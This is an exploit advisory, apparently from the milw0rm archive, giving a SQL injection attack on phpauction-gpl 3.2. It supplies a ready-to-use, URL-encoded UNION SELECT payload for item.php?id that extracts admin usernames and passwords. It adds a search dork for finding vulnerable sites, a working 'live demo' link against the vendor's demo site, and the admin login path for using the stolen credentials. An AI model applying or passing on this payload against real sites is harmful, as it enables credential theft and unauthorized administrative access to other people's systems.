49 lines
No EOL
2 KiB
Text
49 lines
No EOL
2 KiB
Text
#########################################################
|
|
#
|
|
# phpauction-gpl Version3.2 Version SQL Injection Vulnerability
|
|
#========================================================
|
|
# Author: Hussin X =
|
|
# =
|
|
# Home : www.tryag.cc/cc =
|
|
# =
|
|
# email: darkangel_g85[at]Yahoo[DoT]com =
|
|
# hussin.x[at]hotmail[DoT]com =
|
|
# =
|
|
#========================================================
|
|
# HomE script : http://www.phpauction.net
|
|
#
|
|
# Demo : http://www.phpauction.net/phpauction-gpl-3.2/
|
|
#
|
|
#
|
|
# DorK : Copyright 2007, PHPAUCTION.NET
|
|
#
|
|
#
|
|
##########################################################
|
|
|
|
Exploit:
|
|
|
|
|
|
http://www.site.net/[Pats]/item.php?id=-1+%75%6E%69%6F%6E+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+%66%72%6F%6D+PHPAUCTIONXL_adminusers--
|
|
|
|
|
|
|
|
L!VE DEMO:
|
|
|
|
http://www.phpauction.net/phpauction-gpl-3.2/item.php?id=-1+%75%6E%69%6F%6E+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+%66%72%6F%6D+PHPAUCTIONXL_adminusers--
|
|
|
|
|
|
LogiN:
|
|
|
|
admin/index.php
|
|
|
|
|
|
################################################################################
|
|
####################################( Greetz )##################################
|
|
# #
|
|
# tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUAR /str0ke #
|
|
# Silic0n / Rafi / FAHD / Iraqihack #
|
|
# #
|
|
#################################(and All IRAQIs)###############################
|
|
################################################################################
|
|
|
|
# milw0rm.com [2008-06-21] |